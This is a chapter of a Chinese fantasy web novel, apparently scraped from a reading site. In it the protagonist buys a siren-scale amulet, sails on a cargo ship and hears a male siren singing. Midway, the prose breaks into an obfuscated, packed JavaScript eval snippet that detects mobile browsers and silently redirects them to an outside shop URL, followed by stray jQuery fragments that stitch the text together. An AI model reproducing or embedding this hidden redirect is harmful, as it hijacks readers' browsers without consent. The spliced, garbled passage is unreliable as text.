默认冷灰
24号文字
方正启体

60. 祝福之物[番外]

作者:钊花西拾本书字数:K更新时间:
    北淼走进这家名为“安德洛美达”的神秘店铺,在昏暗的黄色灯光下,绕了好几个积灰的玻璃展示柜、抬手拨开吊在头顶的一串串干制花草,总算找到了这家店的柜台。


    “安德洛美达”位于城市最北部红灯区的巷子深处,除了门口挂着手写的店铺名之外别无他物,平时几乎没有人会经过附近的街区。老板是个驼背的老头,患有侏儒症,从柜台后的高凳上下来之后还没北淼的膝盖高。他的笑容就和摆出来展示售卖的物品一样阴森得令人脊背发凉。


    北淼手下的人正在帮他准备出行的船只。这次“波塞冬”号的航行路线和之前丢失货物的“海龙号”极为相似,说不定会在途中找到塞壬出没的痕迹。但北淼深知,自己只是个普通人,无法与塞壬的歌声对抗,因此他只能另辟蹊径,做好遭遇塞壬的准备。


    根据民间传说和三水之家的调查,目前能够免疫塞壬魅惑之歌的方法只有两种:要么个人先天体质、要么持有受其祝福的鳞片或者羽毛。由于“祝福”具体到个人,因此仅仅只是拥有它们并不能奏效。如果祝福之物被抢走、丢失,就会失去效果。


    而“第三种”方法与祝福之物类似。有些炼金术师或巫术师会对塞壬的羽毛或鳞片进行特殊处理,使其在激活后的一定时间内对塞壬任何形式的歌声攻击免疫。只不过,塞壬本就是目击概率不亚于神话传说的生物,加上不同的塞壬习性不同、性格不同,能接触到它们的人凤毛麟角,更别说拿到它们身上的鳞片和羽毛了。俗话说,物以稀为贵,抛开施术的成本不谈,光是作为炼金素材本身,塞壬身上的材料就能卖出天价。那么,想要得到可以真正免疫塞壬魔法的鳞片和羽毛,就要付出更多。


    不过幸好,北淼有的是钱。


    他通过两个朋友的介绍,好不容易才找到这家全国唯一存有塞壬相关炼金材料售卖记录的地方。北淼开门见山地说明来意之后,驼背老人咯咯笑起来,声音沙哑得好似钉耙拨弄杂草,干燥又刺耳。他走下高凳,矮小的身子钻进柜台旁只有篮球那么大的墙洞,嘴上还不停说着他的“货”来得有多么不容易。


    “你知道,大部分时候得到一份珍惜材料最好的方式就是猎杀它的所有者。”


    不一会儿,驼背老头便从洞内走出,手里多了一个透出青绿色微光的麻布小袋。他一步步慢慢走上高凳,小心地将麻布袋放在柜台上,拉开袋口的细绳、将内袋外翻,露出里头已经被打孔穿绳、打磨干净的水滴状鳞片,足足有半个手掌那么大。


    北淼伸手要拿,老头嘿嘿笑了笑迅速拉好袋口的绳子挪开手,让北淼抓了个空。他伸出几根手指,对北淼说出它的价格。如果是普通人,估计会因为这个数字过于庞大以至于失去概念,但这对北淼来说,它只是“必要投资”,就像他裤腰和矮靴上别着的两把.45一样。如果真的遭遇塞壬,他可没打算就这么轻而易举地放过它们。


    北淼一言不发地从口袋里拿出支票,填上老头所说的数额,分文不差。但他在一手交钱一手交货之前忽然折腕收回支票,挑眉问道:“如果你告诉我,你的‘货’当初是从谁那里拿到的,你还能再赚一笔。”


    老头似乎有些为难,咧开嘴尴尬笑笑,面上是机警谨慎,眼珠子却盯着北淼手里的支票转来转去:“我的好老板,那都是客人的隐私,说不得呀。我们干这行的,不就赚个诚信钱。要是名声坏了,可就……”


    “我只要个名字。或者,你可以给我一个方向。”北淼对这种贪得无厌嗤之以鼻,为表诚意,提笔就写下另一张支票,两张夹在指间,手腕一转都递了出去。


    “哎呀,老板,您这不是为难我吗。”老头虽然说得犹豫,却早已拿过两张支票,脸上的笑容那叫一个灿烂。他随意扯下一张便条,在上面写下一串文字,若无其事地压在柜台推给北淼:“无可奉告、无可奉告啊。欢迎老板下次光临。”


    北淼瞥一眼那张纸条,冷笑着抓起麻布袋子收进斜挎包。这破地方他一秒钟都不想多待。于是他不再多言,朝着门口径直离开。


    坐上亮黄色超跑后,北淼将鳞片项链拿在手中仔细端详,另一只手展开刚刚那个店主交给自己的纸条。上面歪歪扭扭地写着一行字:


    “灰喑(yīn)生物科学研究所,卡伦”


    ————


    “波塞冬号”总航程需要大约一周。北淼暂时收集不到关于塞壬和这个“灰喑”的其他信息,这也让他有更多时间思考目前得到的情报。


    为了不错过任何海面的情况和船员的变化,北淼常常在甲板上晃悠。他每隔一段时间就会让货船先停下来,自己坐救生艇下海亲自感受海洋流向。要知道,他的触感可比科技精准多了——至少他有这样的自信。


    一次次经过装满货物的大集装箱,北淼不禁在想,除了“苏兰特号”至今仍有“塞壬阴谋论”之外,新闻上并没有其他关于塞壬伤人的事件发生,近年反倒是保险相关的新闻微妙地变得多了起来。如此倒推,那些“货物在海运过程中因不可抗力造成损失”的案件,很可能也有塞壬的参与。他看过三水之家的调查报告,最近几年这类“意外”的发生概率同比增长了百分之320%,这绝对不合理。


    也就是说,从近几年开始,塞壬——至少是某一派塞壬——针对货船进行袭击,偷取货物、篡改记忆,以此来牟利。


    得出这个结论不难,但北淼很快发现了另一个问题:塞壬是“怪物”,它们要那些“货物”有什么用?它们能从中得到什么“利益”?北淼想起调查报告中丢失的货物大多是金属、电子产品、药剂、影像制品、家具等货币价值较为昂贵的物品。但北淼认为,塞壬可不会玩手机、吃感冒药、看电影和搞装修。


    那么这就说明,塞壬只是一把“刀”,北淼要做的,是找到握住它的那个“人”。


    在北淼看来,塞壬是非常危险的存在。如果这个“人”手里有塞壬这张牌,那就意味着总有一天他会指使它去伤害人类。这不是北淼的偏见,而是他亲历的事实。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334688|199228||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪物就是怪物,哪怕再漂亮,也是杀人凶手。


    想到这里,趴在船尾栏杆上的北淼直起身,掏出腰间的手木丨仓检查保险、弹夹,测试上膛和准星。裤袋里的鳞片隐约闪着绿光。


    他或许不会干掉塞壬,而是将其活捉回去,丢进某个水缸里——哦,这家伙会飞,那先把翅膀废掉。


    北淼脑子里闪过很多疯狂的想法,毕竟他并不打算善待自己的仇敌。不过仔细想想,他觉得通过塞壬寻找小雪的线索比较重要。等到它没有利用价值了再决定怎么处理也不晚。


    确认好身上的两把枪和一把匕首之后,见天色逐渐暗下来,北淼转身准备回休息室睡个十几分钟。然而就在此时,从大海的某处——他甚至无法判断方向——传来阵阵优美的歌声,那不是属于人类的语言,北淼却能听懂其中吟唱的语义:


    “调转方向、跟随指引;


    “乘风破浪、直至黎明。”


    ……来了。


    刹那,船身因突兀的转向和变速发生倾斜,互相撞击的集装箱也发出吱嘎的摩擦声。


    北淼心中不知是惊喜还是紧张,在船身转变角度时险些滑到,下意识地抓紧栏杆。他将发出耀眼光芒的鳞片藏进夹克内袋里,接着迅速站稳,在逐渐降临的黑暗中压低身形,贴着船侧面的集装箱缓步前进,拿出手枪上膛举在脸侧,一刻都不敢松懈。


    “岛屿浸在明媚的阳光里,


    “远山灰朦不清,


    “孤独的微风在林中低呓,


    “诉说着那神秘的谜。”*


    (*ICO -You were There-Steven Geraghty)


    歌声仍在继续,悦耳得仿佛不是来自这个世界的声音,纯粹得好似能穿透灵魂直达心底。它和北淼记忆中的刺耳尖叫截然不同,处处透露着如水的温柔;仔细听还能听出一丝淡淡的伤感,如同漂泊在汪洋之上的历史悲歌。


    但越是平静的水面,水下越有可能是万丈深渊。这就是塞壬最危险的地方。因为有“祝福之物”,他才没有受到影响,天知道这个家伙用它的嗓音害死了多少没有任何保护的人。


    货船开始在歌声里航行。北淼知道,塞壬不可能在海上“卸货”,它们一定有作为“大本营”的码头,这是个摸底的好机会。于是他决定将计就计,躲进船舱中等待“波塞冬号”靠岸。


    这时北淼才反应过来,唱歌的塞壬是个雄性。他一直以为塞壬——传说中的“海洋女妖”——只有雌性,看来调查报告那句“雄性数量极少”不是空穴来风。


    北淼忽然有一种奇怪的感觉。他似乎不是第一次见到雄性塞壬。可“苏兰特号”沉没时,他清楚地听到那刺耳的狂暴之声来自雌性。将他折磨至今的噩梦他绝不会忘记。


    可是这样的话,只有——


    一抹无垢的蓝色在这瞬间如流星闪过北淼的脑海。


    “那个时候的家伙……原来是个雄性啊。”


    TBC
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)